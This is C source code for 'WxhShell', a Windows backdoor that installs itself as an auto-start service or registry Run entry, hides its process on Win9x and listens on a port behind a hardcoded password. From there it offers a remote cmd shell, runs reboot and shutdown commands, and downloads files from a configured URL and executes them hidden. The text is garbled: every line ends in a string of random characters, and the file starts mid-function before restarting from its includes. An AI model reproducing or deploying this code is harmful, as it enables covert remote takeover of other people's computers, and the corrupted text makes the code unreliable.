    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +3e(psdg  
    if(Boot(SHUTDOWN)) ]B>Y  +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?-%Uzp<  
    else { 5YIi O7@4  
    closesocket(wsh); ogv86d  
    ExitThread(0); K5(?6hr;  
    } e,Xvt5  
    break; uR"srn;^  
    } puS'9Lpp  
  // 获取shell ]I"oS?  
  case 's': { p#.B Fy  
    CmdShell(wsh); |0(Z)s,  
    closesocket(wsh); b:7;zOtF  
    ExitThread(0); i;^ e6A>  
    break; LBtVK, ?  
  } daBu<0\  
  // 退出 Kzxzz6R?  
  case 'x': { Cog Lo&.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =mCUuY#  
    CloseIt(wsh); j'-akXo<  
    break; JnCY O^Qj  
    } .LafP}%  
  // 离开 f+0dwlIlC$  
  case 'q': { iR4CY-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ze~ a+%Sb  
    closesocket(wsh); 9QJ=?bIC#  
    WSACleanup(); >q <,FY!A  
    exit(1); NTiJEzW}  
    break; '6{q;Bxo  
        } 1W-t})!a  
  } cWgiFv  
  } 9A\J*OU  
VS^%PM#:/  
  // 提示信息 ,*0>CBJvv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xk86?2b{)  
} mKZ?H$E%%  
  } O7j$bxk/^  
_6qf>=qQ`"  
  return; BW:&AP@B  
} 5L|yF"TI#  
qB@]$  
// shell模块句柄 }.gDaxj  
int CmdShell(SOCKET sock) uf`o\wqU  
{ ~/[cZY @  
STARTUPINFO si; po"M$4`9  
ZeroMemory(&si,sizeof(si));  >0+m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 133lIX+(k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5<4njo?k  
PROCESS_INFORMATION ProcessInfo; {#q<0l  
char cmdline[]="cmd"; .D^k0V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2U>1-p&dn  
  return 0; iUA2/ A  
} >;o^qi_$  
*P:`{ZV7=W  
// 自身启动模式 [x!T<jJ  
int StartFromService(void) $ sEe0  
{ .)})8csl.d  
typedef struct j]J2,J  
{ qfppJ8L  
  DWORD ExitStatus; s;}';#  
  DWORD PebBaseAddress; (T n*;Xjq  
  DWORD AffinityMask; 9{i6g+  
  DWORD BasePriority; mMrvr9%  
  ULONG UniqueProcessId;  'm}~  
  ULONG InheritedFromUniqueProcessId; xm~ff+(&@S  
}   PROCESS_BASIC_INFORMATION; jb)z[!FbM  
P>L-,R(7e  
PROCNTQSIP NtQueryInformationProcess; OdRXNk:k-j  
yhQo1e>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "rc}mq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {_3ZKD(\  
30FYq?  
  HANDLE             hProcess; `;*=2M<c  
  PROCESS_BASIC_INFORMATION pbi; ]9zc[_ !  
oX3Q9)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Lm ArW:  
  if(NULL == hInst ) return 0; B_`A[0H  
p(nC9NGB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); - K}@Gp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +?MjY[8j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BEPDyy  
j/9FiuK  
  if (!NtQueryInformationProcess) return 0; Podm 3b  
+qpD>5#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ ;)@a  
  if(!hProcess) return 0; $g#X9/+<  
.eZ4?|at.F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jc;&g)Rv  
OD>-^W t;%  
  CloseHandle(hProcess); ; {I{X}b  
rVQ:7\=Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u9mMkzgSkP  
if(hProcess==NULL) return 0; /CKkT.Le  
"TtK!>!.  
HMODULE hMod; a+\ Gz  
char procName[255]; ~<v`&Gm?"  
unsigned long cbNeeded; M%&`&{  
}kL% l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q7 Uu 8JXF  
?Dd2k%o  
  CloseHandle(hProcess); 'y-IE#!5  
H W.S~eLw*  
if(strstr(procName,"services")) return 1; // 以服务启动 qK|r+}g|&  
A!iH g__/t  
  return 0; // 注册表启动 gADt%K2 #Z  
} S)g5Tu)  
L=Dx$#|  
// 主模块 MrOW&7  
int StartWxhshell(LPSTR lpCmdLine) *i5&x/ds  
{ P|HY=RM a  
  SOCKET wsl; h]@Xucc  
BOOL val=TRUE; @!%<JZEz3  
  int port=0; e yTYg  
  struct sockaddr_in door; Gjy'30IF  
pPQ]#v  
  if(wscfg.ws_autoins) Install(); 'O\K Wj{  
Dvd.Q/f  
port=atoi(lpCmdLine); f=/S]o4/3  
(nBJ,v)  
if(port<=0) port=wscfg.ws_port; IeN!nK-  
?_<ZCH  
  WSADATA data; :Oq!.uO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B TcxBh  
~&B_ Bswf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zKfb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rQisk8 %  
  door.sin_family = AF_INET; '|Q=J)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d UjdQ  
  door.sin_port = htons(port); Zpu>T2Tp  
A.WJ#1i}E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1grrb&K  
closesocket(wsl); =N7N=xY  
return 1; puXJ:yo(  
} y"@~5e477$  
[>"qOFCr#:  
  if(listen(wsl,2) == INVALID_SOCKET) { #B+2qD>E  
closesocket(wsl); &k1Ez  
return 1; I &{dan2  
} ZP%^.wxC  
  Wxhshell(wsl); 5^* d4[&+  
  WSACleanup(); X/gh>MJJ<  
[&+wW  
return 0; p' /$)klt  
krz@1[w-j  
} hCr7%`  
}s{zy:1O  
// 以NT服务方式启动 qx_+mCZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z)|56 F7'  
{ r T* :1  
DWORD   status = 0; []LNNO],X  
  DWORD   specificError = 0xfffffff; D eXnE$XH  
?`FI!3j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NRoi` IIj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {'d?vm!r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; deeOtco$LT  
  serviceStatus.dwWin32ExitCode     = 0; EO'3;mo,  
  serviceStatus.dwServiceSpecificExitCode = 0; xZ,g6s2o  
  serviceStatus.dwCheckPoint       = 0; P?TFX.p7  
  serviceStatus.dwWaitHint       = 0; Hk6Dwe[y  
:kFWUs=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?FMHK\  
  if (hServiceStatusHandle==0) return; H%faRUonz  
uv_*E`pN~  
status = GetLastError(); t}'Oh}CG  
  if (status!=NO_ERROR) 5vP*oD  
{ cp.)K!$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <'GI<Hc  
    serviceStatus.dwCheckPoint       = 0; u :m]-'  
    serviceStatus.dwWaitHint       = 0; Q3oVl^q  
    serviceStatus.dwWin32ExitCode     = status; ?'h@!F%R'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1L &_3}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :1.$7W t  
    return; /3+7a\|mKr  
  } $orhY D3gv  
TAzhD.6C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }GGFJ"  
  serviceStatus.dwCheckPoint       = 0; ?"sk"{  
  serviceStatus.dwWaitHint       = 0; rvr Ok  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dnNc,l&g  
} E}1[&  
5jYRIvM[Q~  
// 处理NT服务事件,比如:启动、停止 -} Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t5eux&C  
{ IOIGLtB  
switch(fdwControl) ;TaT=%  
{ 0Y!Bb2 m  
case SERVICE_CONTROL_STOP: O'idS`   
  serviceStatus.dwWin32ExitCode = 0; YtIJJH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <cepRjDn  
  serviceStatus.dwCheckPoint   = 0; iY*Xm,#  
  serviceStatus.dwWaitHint     = 0; 9IIe:  
  { @p `#y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ 8v)\lu  
  } >#0yd7BST  
  return; /"/$1F%{  
case SERVICE_CONTROL_PAUSE: ]@WJ&e/'@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,VHvQU  
  break; im1]:kr7  
case SERVICE_CONTROL_CONTINUE: I{1w8m4O6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g~Q#U;]  
  break; pu`|HaQaE  
case SERVICE_CONTROL_INTERROGATE: 2V F|T'h  
  break; "t\rjFw  
}; ]Fj z+CGg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9"<)DS  
} <'B`b  
U'lrdc"Q  
// 标准应用程序主函数 wetkmd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0Y"==g+ >f  
{ pK$^@~DE  
teM&[U  
// 获取操作系统版本 cQ+V 4cW Z  
OsIsNt=GetOsVer(); WJJ!No P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !_V*VD  
+o_`k!  
  // 从命令行安装 ZC0F:=/K  
  if(strpbrk(lpCmdLine,"iI")) Install(); x$M[/ID0  
[0IeEjL  
  // 下载执行文件 i-&kUG_X  
if(wscfg.ws_downexe) { Em _miU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %A64 Y<K  
  WinExec(wscfg.ws_filenam,SW_HIDE); e#W@ep|n  
} ikm4Y`c  
]`:Fj|>  
if(!OsIsNt) { @rVmr{UE  
// 如果时win9x,隐藏进程并且设置为注册表启动 $wX5`d 1  
HideProc(); ^s24f?3  
StartWxhshell(lpCmdLine); Iem* 'r  
} N 4,w  
else F /t;y\)  
  if(StartFromService()) o*dhks[  
  // 以服务方式启动 fT'A{&h|U  
  StartServiceCtrlDispatcher(DispatchTable); uYO?Rb&}  
else N 8mK^{  
  // 普通方式启动 cJH7zumM)  
  StartWxhshell(lpCmdLine); (cA=~Bw[=  
S liF$}J  
return 0; VDQ&Bm JE  
} LU%g>?m.]  
`D GO~RMp9  
%*r P d>*  
!TG"AW  
=========================================== 1uD}V7_y"  
\>jK\j  
iOD9lR`s  
)fCl<KG*  
Kk??}  
JXvHsCd?  
" &=s{ +0  
r%xNfTa  
#include <stdio.h> dn`#N^Od  
#include <string.h> Y3-15:-  
#include <windows.h> o]k[l ;  
#include <winsock2.h> 9Uk9TG5  
#include <winsvc.h> 2U#OBvNU  
#include <urlmon.h> @c.QrKSaD  
,sJ{2,]~  
#pragma comment (lib, "Ws2_32.lib") 5F0sfX  
#pragma comment (lib, "urlmon.lib")   (+Er  
Rhr]ML  
#define MAX_USER   100 // 最大客户端连接数 $Y ]*v)}X  
#define BUF_SOCK   200 // sock buffer qnT:x{o  
#define KEY_BUFF   255 // 输入 buffer NP|U |zn  
.0s/O  
#define REBOOT     0   // 重启 Lp{l& -uQ  
#define SHUTDOWN   1   // 关机 ,',fO?Qv'  
"w|GIjE+  
#define DEF_PORT   5000 // 监听端口 oR3$A :!P=  
`#9ZP  
#define REG_LEN     16   // 注册表键长度 UkeW2l`:  
#define SVC_LEN     80   // NT服务名长度 )_f "[m%  
wdp 4-*  
// 从dll定义API XSZW9/I-(|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vbA9 V<c&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Be}Cj(C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HK ;C*;vC%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >r{,$)H0  
sy]1Ba%  
// wxhshell配置信息 KXR  
struct WSCFG { hS<x+|'l  
  int ws_port;         // 监听端口 9-L.?LG  
  char ws_passstr[REG_LEN]; // 口令 h{>8W0W*  
  int ws_autoins;       // 安装标记, 1=yes 0=no !m^WtF  
  char ws_regname[REG_LEN]; // 注册表键名 |@Z QoH  
  char ws_svcname[REG_LEN]; // 服务名 H,zRmK6A%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bv/v4(G5g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 znu?x|mV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mEE/Olh W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jIuE1ve  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k deJB-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 " $m3xO  
{L.0jAwB  
}; HW{+THNj  
(\SxG\`  
// default Wxhshell configuration ukhI'alS,  
struct WSCFG wscfg={DEF_PORT, KqB(W ,$  
    "xuhuanlingzhe", rsiG]o=8  
    1, od-N7lp#  
    "Wxhshell", ~sk 4v:-  
    "Wxhshell", ];(w8l  
            "WxhShell Service", 03{e[#6   
    "Wrsky Windows CmdShell Service", <tFq6|  
    "Please Input Your Password: ", A "w 1GBx  
  1, %Wu3$b  
  "http://www.wrsky.com/wxhshell.exe", ~2 =B:;  
  "Wxhshell.exe" IWKQU/l!  
    }; ucB<  
]k>S0  
// 消息定义模块 [?]s((A~B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wn|Sdp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; , gz:2UY#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =Ermh7,  
char *msg_ws_ext="\n\rExit."; uv._N6mj  
char *msg_ws_end="\n\rQuit."; ][#]4 _  
char *msg_ws_boot="\n\rReboot..."; dZ;cs c@xv  
char *msg_ws_poff="\n\rShutdown..."; C+2*m=r  
char *msg_ws_down="\n\rSave to "; O(wt[AEA  
E[ e ''  
char *msg_ws_err="\n\rErr!"; 8Gs{Zfp!D  
char *msg_ws_ok="\n\rOK!"; ?$8OVq.w,  
_`ot||J  
char ExeFile[MAX_PATH]; ?l bK;Kv  
int nUser = 0; r=s2wjk  
HANDLE handles[MAX_USER]; |8V+(Vzl  
int OsIsNt; 1oodw!hW  
Qv[@ioc  
SERVICE_STATUS       serviceStatus; s{hJ"lv:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z wIsEJz  
6Pd;I,k  
// 函数声明 Pm V:J9  
int Install(void); {6v+ Dz>  
int Uninstall(void); =j }]-!  
int DownloadFile(char *sURL, SOCKET wsh); C\ 9eR  
int Boot(int flag); uiO8F*,!&r  
void HideProc(void); qfG`H#cA<  
int GetOsVer(void); MJDFm,  
int Wxhshell(SOCKET wsl); LLV:E{`p  
void TalkWithClient(void *cs); <C]s\ "o-`  
int CmdShell(SOCKET sock); :8\z 0  
int StartFromService(void); 6fQQKM@a|  
int StartWxhshell(LPSTR lpCmdLine); '6[0NuB  
r1$ O<3\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !J'BAq[x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XG_ lyx%:E  
6uR :/PTG  
// 数据结构和表定义 c00a;=ji  
SERVICE_TABLE_ENTRY DispatchTable[] = w_4`Wsn  
{ ?v `0KF  
{wscfg.ws_svcname, NTServiceMain}, [ 98)7  
{NULL, NULL} lYD-U8  
}; LB U]^t@ M  
e3\*Np!rTQ  
// 自我安装 g$ 9Yfu  
int Install(void) </Q<*@p?  
{ Oz]iHe  
  char svExeFile[MAX_PATH]; k q_B5L?  
  HKEY key; ,Cde5A{K  
  strcpy(svExeFile,ExeFile); _q+H>1. &9  
~B|K]&/]  
// 如果是win9x系统,修改注册表设为自启动 m03;'Nj'7#  
if(!OsIsNt) { AfFF u\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Su$oOy(Ea  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sDw&U?gUv  
  RegCloseKey(key); 1kvBQ1+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O-5H7Kd-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [y64%|m  
  RegCloseKey(key); d#Ql>PrY  
  return 0; ,7z.%g3+z  
    } bp;b;f>  
  } PzNk:O  
} l]^uVOX  
else { k G4v>  
A0 x*feK?  
// 如果是NT以上系统,安装为系统服务 m".8-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]Dd=q6  
if (schSCManager!=0) p.gi8%f`  
{ i|y8n7c  
  SC_HANDLE schService = CreateService @e3O=_m-  
  ( 8v5cQ5Lc  
  schSCManager, ,o*x\jrGw  
  wscfg.ws_svcname, vRYfB{~  
  wscfg.ws_svcdisp, 9<G-uF  
  SERVICE_ALL_ACCESS, &0+;E-_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M&:[3u-  
  SERVICE_AUTO_START, Ihw^g <X  
  SERVICE_ERROR_NORMAL, Yfs60f  
  svExeFile, H Y\-sl^  
  NULL, }&bO;o&>  
  NULL, Y Dq5%N`  
  NULL, z~UqA1r  
  NULL, cxp>4[gH  
  NULL Mx4 <F "9  
  ); 6"/cz~h  
  if (schService!=0) n2Q~fx<6%  
  { CcG{+-= H)  
  CloseServiceHandle(schService); v&(PM{3o  
  CloseServiceHandle(schSCManager); 71Q-_Hi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ofC=S$wX  
  strcat(svExeFile,wscfg.ws_svcname); )t0Y-),vA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H?m9HBDpn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4&Y{kNF  
  RegCloseKey(key); XcAx@CY9c  
  return 0; XFUlV;ek  
    } )!s f@F?  
  } {D={>0  
  CloseServiceHandle(schSCManager); JS1$l+1  
} q5p!Ty"  
} ,73J#  
pIXbr($  
return 1; :&S6AP  
} Cd?a C  
|$f.Qs~?  
// 自我卸载 9o@5:.b<j  
int Uninstall(void) /xUTm=w7u  
{ {U= Mfo?AH  
  HKEY key; )! Jo7SR  
b MZ-{<+i  
if(!OsIsNt) { ]4^9Tw6 _b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ds}:t.3}6  
  RegDeleteValue(key,wscfg.ws_regname); ]+u`E  
  RegCloseKey(key); lZCTthr\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ABuK`(f.  
  RegDeleteValue(key,wscfg.ws_regname); U%.OH?;f  
  RegCloseKey(key); *UJ.cQ}  
  return 0; r#M0X^4A  
  } Y@)/iwq  
} AqM}@2#%%  
} }1kT0*'L  
else { b= amd*  
4^/MDM@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jNd."[IrO  
if (schSCManager!=0) cv})^E$x  
{ (S3\O `5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !YYI{BJ7:N  
  if (schService!=0) He @d~9M  
  { #&u9z5ywM  
  if(DeleteService(schService)!=0) { ~4IkQ|,  
  CloseServiceHandle(schService); l|TiUjs  
  CloseServiceHandle(schSCManager); 6jyS]($q  
  return 0; Kx==vq%39  
  } >c %*:a  
  CloseServiceHandle(schService); >1q W*  
  } 'M8wjU  
  CloseServiceHandle(schSCManager); xn|M]E1)  
} "ld4v+o8l  
} 9ozN$:  
F6^Xi"R[  
return 1; _=!R l#  
} ]06orBV  
uJhB>/Og  
// 从指定url下载文件 $2I^ ;5r[  
int DownloadFile(char *sURL, SOCKET wsh) 4BF \- lq~  
{ L+VqTt  
  HRESULT hr; W/e6O??O  
char seps[]= "/"; \JjZ _R  
char *token; G(joamfM  
char *file; 'b1k0 9'  
char myURL[MAX_PATH]; StZ GKY[Q  
char myFILE[MAX_PATH]; mu`:@7+Yp  
P`^3-X/  
strcpy(myURL,sURL); T)4pLN E  
  token=strtok(myURL,seps); CNP!v\D  
  while(token!=NULL) b`: n i   
  { t,H=;U#  
    file=token; jMFLd  
  token=strtok(NULL,seps); G)5R iRcs  
  } sKD sps^$  
LkvR]^u0  
GetCurrentDirectory(MAX_PATH,myFILE); uknX py))  
strcat(myFILE, "\\"); &gGh%:`B  
strcat(myFILE, file); 0G?*i_u\  
  send(wsh,myFILE,strlen(myFILE),0); "L ,)4v/J  
send(wsh,"...",3,0); % \N52  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8);G'7O  
  if(hr==S_OK) l5; SY  
return 0; J[0o 6  
else .:dy  d  
return 1; R(.5Hs  
hJ|zX  
} gu:8+/W8L  
T)N_~f|  
// 系统电源模块 <yNu/B.M  
int Boot(int flag) =emcs%  
{ gs/ i%O  
  HANDLE hToken; Vd%%lv{v  
  TOKEN_PRIVILEGES tkp; vU(uu:U9  
bEvlk\iql  
  if(OsIsNt) { ) oypl+y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); % )o'9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pk{eGG<F$  
    tkp.PrivilegeCount = 1; 2&b?NqEeZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %mF:nU4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *.F^`]yz  
if(flag==REBOOT) { 1 >}x9D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b9Fd}WZz  
  return 0; STln_'DF'  
} n VNz5B  
else { ."X}A t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xOY %14%Y  
  return 0; t,P_&0X  
} mc FSWmq  
  } p<[gzmU9\b  
  else { E^K<b7  
if(flag==REBOOT) { \mo NpKf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IJ[r!&PY  
  return 0; (D5sJ$&E@\  
} cVb&Jzd  
else { b aO ^Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UA0j#  
  return 0; O-uno{Fd*  
} (g HCu  
} ^osXM`  
$:l>g)c  
return 1; v^0*{7N'  
} =%=lq0GF0  
&hnI0m=X  
// win9x进程隐藏模块 iY[+BI:  
void HideProc(void) Ez)hArxns  
{ w ag^Sk  
MJ?fMR@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fV(WUN+  
  if ( hKernel != NULL ) ](@HPAG]  
  { :z-UnC||j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #lDW?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~vPR9\e  
    FreeLibrary(hKernel); .D8|_B  
  } Tf*DFyr  
4 AWL::FU5  
return; =tS#t+2S  
} ybY[2g2QJ  
N e<D'-  
// 获取操作系统版本 R\T1R"1  
int GetOsVer(void) Q\moR^>  
{ {VmJVO]S  
  OSVERSIONINFO winfo; gJFx#s0?6.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'W_u1l/  
  GetVersionEx(&winfo); fHV%.25  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nDU=B.?E{O  
  return 1; p[^a4E_v  
  else Ip_deP@  
  return 0; ]I^b&N  
} I%<LLkQ  
l^k/Y ]  
// 客户端句柄模块 iwVsq_[]L  
int Wxhshell(SOCKET wsl) yQz6K6p  
{ ;Pw\p^wz  
  SOCKET wsh; $p;<1+!  
  struct sockaddr_in client; :3N&&]  
  DWORD myID; p!Xn iY  
P]^ BE;7T  
  while(nUser<MAX_USER) YZdV0 -S  
{ (~IoRhp^  
  int nSize=sizeof(client); ,L&d\M"f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $o%:ST4  
  if(wsh==INVALID_SOCKET) return 1; % |^V)  
pf8M0,AY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .+ d.~jHX  
if(handles[nUser]==0) E#zLm  
  closesocket(wsh); eHl)/='  
else )45#lE3TH  
  nUser++; |MMaaW^"  
  } xg;I::hE7X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FQh8(^(  
t9eEcq Mg  
  return 0; H.)Y*zK0.  
} % B^BN|r  
T B(K&3_D  
// 关闭 socket dJ(<zz+;b  
void CloseIt(SOCKET wsh) 1@:BUE;jZ  
{ Ys@OgdS@:  
closesocket(wsh); Q)[DSM  
nUser--; qokCVI-\  
ExitThread(0); ]tx/t^&/\u  
} !)4'[5t"U  
IQ\5!e  
// 客户端请求句柄 $n= w  
void TalkWithClient(void *cs) Y/<`C  
{ XVfw0-O  
l.Q.G<ol  
  SOCKET wsh=(SOCKET)cs; 8= "01  
  char pwd[SVC_LEN]; S Rb-eDk'  
  char cmd[KEY_BUFF]; ,^1B"#0{C<  
char chr[1]; PJF1+I.%c#  
int i,j; :*I=' M9B  
q@&6&cd  
  while (nUser < MAX_USER) { H8!)zZ  
5"9 '=LV~  
if(wscfg.ws_passstr) { OK" fFv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?1.W F}X'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  7CwQmVe+  
  //ZeroMemory(pwd,KEY_BUFF); Ib(G!oO:E-  
      i=0; (.pi,+Ws  
  while(i<SVC_LEN) { !O 0{ .k  
6PyW(i(bs  
  // 设置超时 `lcQ Yd<,4  
  fd_set FdRead; ,(3oAj\  
  struct timeval TimeOut; eA_]%7+`  
  FD_ZERO(&FdRead); p#0L@!,  
  FD_SET(wsh,&FdRead); ('z:XW96  
  TimeOut.tv_sec=8; cd._q2  
  TimeOut.tv_usec=0; D k<NlH zp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c5(4rT{(m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  rrP_7D  
-q30tO.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3}2;*:p4Y  
  pwd=chr[0]; lBzfBmEB  
  if(chr[0]==0xd || chr[0]==0xa) { $d*PY_  
  pwd=0; HChlkj'7w0  
  break; d6e$'w@(\T  
  } | Di7 ,$c  
  i++; y>>)Yo&|  
    } *cP(3n3]R  
Aa+<4 R  
  // 如果是非法用户,关闭 socket kx,3[qe'S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %v4*$E!f  
} 5t,X;  
i`}!<{k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WBWIHv{j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1hY%Zsj C  
#.{ddY{  
while(1) { &LYH >  
~e _  
  ZeroMemory(cmd,KEY_BUFF); i ?%_P u  
watTV\b  
      // 自动支持客户端 telnet标准   7.kgQ"?&  
  j=0; HX{K5+  
  while(j<KEY_BUFF) { N u3B02D*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?vP6~$*B  
  cmd[j]=chr[0]; "*LQr~k~}  
  if(chr[0]==0xa || chr[0]==0xd) { WK5B8u*<  
  cmd[j]=0; lhX4 MB"  
  break; >dJ[1s]  
  } 1i&|}"  
  j++; to;^'#B  
    } K;ocs?rk/  
7J1f$5$m5  
  // 下载文件 O%f{\Fr  
  if(strstr(cmd,"http://")) { vNHvuw K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K'f^=bc I  
  if(DownloadFile(cmd,wsh)) I;9C":'#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sI MN""@Y^  
  else P@5}}vwS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lnGg1/  
  } \M;cF "e-S  
  else { -/:!AxIH  
